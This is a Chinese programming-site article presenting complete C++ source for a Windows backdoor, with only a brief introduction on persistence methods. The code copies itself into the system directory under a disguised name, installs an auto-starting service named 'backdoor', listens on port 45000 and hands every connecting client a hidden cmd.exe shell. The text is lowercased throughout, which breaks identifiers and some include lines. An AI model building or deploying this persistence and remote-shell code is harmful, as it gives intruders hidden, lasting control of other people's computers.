欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

C++实现后门的服务自启动

程序员文章站 2022-03-26 17:56:36
简介 windows nt后门要实现自启动,有许多种方法,例如注册表自启动,映像劫持技术,svchost自启动以及本章节介绍的服务自启动等方法,其中服务自启动相对于上述其他三种需要修改注册表的启动...

简介

windows nt后门要实现自启动,有许多种方法,例如注册表自启动映像劫持技术svchost自启动以及本章节介绍的服务自启动等方法,其中服务自启动相对于上述其他三种需要修改注册表的启动方式而言更不容易被发现。

c++代码样例

//////////////////////////////////////////////////////////////
//
// filename : serviceautorundemo.cpp
// creator : peterz1997
// date : 2018-5-4 23:19
// comment : create service to make the backdoor run automatically
//
//////////////////////////////////////////////////////////////

#include 
#include 
#include 
#include 
#include vc.h>
#include 
#include 
#pragma comment(lib, "ws2_32.lib")

using namespace std;

#define service_op_error -1
#define service_already_run -2

const unsigned int max_count = 255; /// string max length
const dword port = 45000;           /// listen port
const unsigned int link_count = 30; /// max link number

service_status g_servicestatus;
service_status_handle g_hservicestatus;

/**
 * @brief callback function to translate service control code
 * @param dwcode service control code
 */
void winapi servicecontrol(dword dwcode)
{
    switch (dwcode)
    {
        //服务暂停
    case service_control_pause:
        g_servicestatus.dwcurrentstate = service_paused;
        break;
        //服务继续
    case service_control_continue:
        g_servicestatus.dwcurrentstate = service_running;
        break;
        //服务停止
    case service_control_stop:
        g_servicestatus.dwcurrentstate = service_stopped;
        g_servicestatus.dwwin32exitcode = 0;
        g_servicestatus.dwcheckpoint = 0;
        g_servicestatus.dwwaithint = 0;
        break;
    case service_control_interrogate:
        break;
    default:
        break;
    }
    //设置服务状态
    if (setservicestatus(g_hservicestatus, &g_servicestatus) == 0)
    {
        printf("set service status error\n");
    }
    return;
}

/**
 * @brief start remote shell
 * @lpparam the client handle
 */
dword winapi startshell(lpvoid lpparam)
{
    startupinfo si;
    process_information pi;
    char cmdline[max_count] = { 0 };
    getstartupinfo(&si);
    si.cb = sizeof(startupinfo);
    si.hstdinput = si.hstdoutput = si.hstderror = (handle)lpparam;
    si.dwflags = startf_useshowwindow | startf_usestdhandles;
    si.wshowwindow = sw_hide;
    getsystemdirectory(cmdline, sizeof(cmdline));
    strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
    while (!createprocess(null, cmdline, null, null, true, null, null, null, &si, &pi))
    {
        sleep(100);
    }
    waitforsingleobject(pi.hprocess, infinite);
    closehandle(pi.hprocess);
    closehandle(pi.hthread);
    return 0;
}

/**
 * @brief service running function
 * @lpparam null
 */
dword winapi runservice(lpvoid lpparam)
{
    char wmessage[max_count] = "<================= welcome to back door >_< ==================>\n";
    socket sclient[30];
    dword dwthreadid[30];
    handle hthread[30];
    wsadata wsd;
    if (wsastartup(0x0202, &wsd))
    {
        printf("wsastartup process error\n");
        return 0;
    }
    socket slisten = wsasocket(af_inet, sock_stream, ipproto_tcp, null, 0, 0);
    sockaddr_in sin;
    sin.sin_family = af_inet;
    sin.sin_port = htons(port);
    sin.sin_addr.s_un.s_addr = inaddr_any;
    if (bind(slisten, (lpsockaddr)&sin, sizeof(sin))) return 0;
    if (listen(slisten, link_count)) return 0;
    for (int i = 0; i < link_count; i++)
    {
        sclient[i] = accept(slisten, null, null);
        hthread[i] = createthread(null, 0, startshell, (lpvoid)sclient[i], 0, &dwthreadid[i]);
        send(sclient[i], wmessage, strlen(wmessage), 0);
    }
    waitformultipleobjects(link_count, hthread, true, infinite);
    return 0;
}

/**
 * @brief the main function of the service
 */
void winapi servicemain(dword dwargc, lptstr *lpargv)
{
    handle hthread;
    g_servicestatus.dwcheckpoint = 0;
    g_servicestatus.dwcontrolsaccepted = service_accept_pause_continue | service_accept_stop;
    g_servicestatus.dwcurrentstate = service_start_pending;
    g_servicestatus.dwservicespecificexitcode = 0;
    g_servicestatus.dwservicetype = service_win32;
    g_servicestatus.dwwaithint = 0;
    g_servicestatus.dwwin32exitcode = 0;
    g_hservicestatus = registerservicectrlhandler("backdoor", servicecontrol);
    if (!g_hservicestatus)
    {
        printf("register service error\n");
        return;
    }
    g_servicestatus.dwcurrentstate = service_running;
    g_servicestatus.dwcheckpoint = 0;
    g_servicestatus.dwwaithint = 0;
    if (!setservicestatus(g_hservicestatus, &g_servicestatus))
    {
        outputdebugstring("setservicestatus error !\n");
        return;
    }
    hthread = createthread(null, 0, runservice, null, 0, null);
    if (!hthread)
    {
        printf("create thread error\n");
    }
    return;
}

/**
 * @brief install service
 */
int apientry installservice()
{
    dword dwerrorcode;
    sc_handle hscmanager;
    sc_handle hservicehandle;
    service_status ssservicestatus;
    char szsystempath[max_count] = "\0";
    char szfileselfpath[max_count] = "\0";
    getsystemdirectory(szsystempath, sizeof(szsystempath));
    getmodulefilename(null, szfileselfpath, sizeof(szfileselfpath));
    strcat_s(szsystempath, "\\syswork.exe");
    copyfile(szfileselfpath, szsystempath, true);
    hscmanager = openscmanager(null, null, sc_manager_all_access);
    if (!hscmanager)
    {
        printf("can not open the service manager\n");
        return service_op_error;
    }
    printf("service manager opened success\n");
    hservicehandle = createservice(hscmanager, "backdoor", "backdoor", service_all_access, service_win32_own_process, service_auto_start, service_error_ignore, szsystempath, null, null, null, null, null);
    if (!hservicehandle)
    {
        dwerrorcode = getlasterror();
        if (dwerrorcode == error_service_exists)
        {
            hservicehandle = openservice(hscmanager, "backdoor", service_all_access);
            if (!hservicehandle)
            {
                printf("can not create/open service\n");
                closeservicehandle(hservicehandle);
                return service_op_error;
            }
            else
            {
                printf("service opened success\n");
            }
        }
    }
    else {
        printf("service create success\n");
    }
    if (!startservice(hservicehandle, 0, null))
    {
        dwerrorcode = getlasterror();
        if (dwerrorcode == error_service_already_running)
        {
            printf("serveice is already running\n");
            closeservicehandle(hservicehandle);
            closeservicehandle(hscmanager);
            return service_already_run;
        }
        else
        {
            printf("serveice start error\n");
            closeservicehandle(hservicehandle);
            closeservicehandle(hscmanager);
            return service_op_error;
        }
    }
    while (queryservicestatus(hservicehandle, &ssservicestatus))
    {
        if (ssservicestatus.dwcurrentstate == service_start_pending)
        {
            sleep(100);
            continue;
        }
        if (ssservicestatus.dwcurrentstate != service_running)
        {
            printf("service start process error\n");
            closeservicehandle(hservicehandle);
            closeservicehandle(hscmanager);
            return service_op_error;
        }
        else
        {
            break;
        }
    }
    if (!queryservicestatus(hservicehandle, &ssservicestatus))
    {
        printf("service status get error\n");
        closeservicehandle(hservicehandle);
        closeservicehandle(hscmanager);
        return service_op_error;
    }
    printf("service start success\n");
    closeservicehandle(hservicehandle);
    closeservicehandle(hscmanager);
    return 0;
}


/**
 * @brief remove service
 */
int removeservice()
{
    sc_handle hscmanager;
    sc_handle hservicehandle;
    service_status ssservicestatus;
    hscmanager = openscmanager(null, null, sc_manager_all_access);
    if (!hscmanager)
    {
        printf("open service manager error\n");
        return service_op_error;
    }
    printf("open service manager success\n");
    hservicehandle = openservice(hscmanager, "backdoor", service_all_access);
    if (!hservicehandle)
    {
        printf("open service error\n");
        return service_op_error;
    }
    printf("open service success\n");
    if (queryservicestatus(hservicehandle, &ssservicestatus))
    {
        if (ssservicestatus.dwcurrentstate == service_running)
        {
            controlservice(hservicehandle, service_stop, &ssservicestatus);
        }
    }
    else
    {
        printf("service status get error\n");
        closeservicehandle(hservicehandle);
        closeservicehandle(hscmanager);
        return service_op_error;
    }
    if (!deleteservice(hservicehandle))
    {
        printf("delete service error\n");
        closeservicehandle(hservicehandle);
        closeservicehandle(hscmanager);
        return service_op_error;
    }
    printf("remove service success\n");
    closeservicehandle(hservicehandle);
    closeservicehandle(hscmanager);
    return 0;
}

/**
 * @brief main function
 */
int main(int argc, char* argv[])
{
    service_table_entry svtable[] = {
        {(lpstr)"backdoor",servicemain},
        {null,null}
    };
    startservicectrldispatcher(svtable);
    if (argc == 2)
    {
        if (!stricmp(argv[1], "--install"))
        {
            if (installservice()&service_op_error)
            {
                printf("[!]service operation error\n");
            }
            else
            {
                printf("[*]service operation success\n");
            }
        }
        else if (!stricmp(argv[1], "--remove"))
        {
            if (removeservice()&service_op_error)
            {
                printf("[!]service operation error\n");
            }
            else
            {
                printf("[*]service operation success\n");
            }
        }
        else
        {
            printf("[usage] => *.exe [--install]/[--remove]\n");
        }
    }
    else {
        printf("[usage] => *.exe [--install]/[--remove]\n");
    }
    return 0;
}